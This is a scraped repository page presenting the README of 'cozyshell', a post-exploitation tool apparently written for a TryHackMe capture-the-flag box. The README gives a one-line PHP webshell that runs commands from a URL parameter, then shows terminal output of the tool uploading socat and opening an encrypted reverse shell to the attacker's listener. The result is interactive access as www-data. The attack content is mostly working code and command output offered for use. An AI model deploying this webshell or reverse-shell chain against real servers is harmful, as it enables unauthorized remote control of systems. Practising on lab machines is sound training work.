Git Product home page Git Product logo

cozyshell's Introduction

$_COZYSHELL

Developed for the 'year of the dog' THM box, use it with caution and responsability

  • First we need to upload a webshell like the one bellow.
  <?php echo shell_exec($_GET["cmd"]); ?>
┌──(root㉿kali)-[~/cozyshell]
└─# ../t.py -u http://10.10.44.102/
[*] Injecting webshell at http://10.10.44.102/cae822a9.php
[*] Success! We got a webshell as www-data

  • Now we can quickly upgraded to a nice and cozy interactive shell
┌──(root㉿kali)-[~/cozyshell]
└─# ./cozyshell --url http://10.10.44.102/cae822a9.php --lhost 10.13.21.200 --lport 8443 
[*] Uploading socat binary to /var/www/html/c233735f
[*] Starting Webserver
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.44.102 - - [06/Jan/2024 18:56:53] "GET /bin HTTP/1.1" 200 -
[*] Finished uploading socat!
[*] Killing Webserver process
[*] Starting reverse shell handler on tty /dev/pts/1
[*] Paste CMD: export TERM=screen; stty rows 59 cols 116
[*] Sending encrypted reverse shell to 10.13.21.200:8443
<www/html$ export TERM=screen; stty rows 59 cols 116
www-data@year-of-the-dog:/var/www/html$ pwd
/var/www/html
www-data@year-of-the-dog:/var/www/html$ ls
assets	c233735f  cae822a9.php	config.php  index.php
www-data@year-of-the-dog:/var/www/html$ exit
exit
[*] Finished executing interactive shell
[*] Success

cozyshell's People

Contributors

bluetoothstrawberry avatar

Stargazers

Phantom avatar

Watchers

 avatar

Forkers

00xph4ntom

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.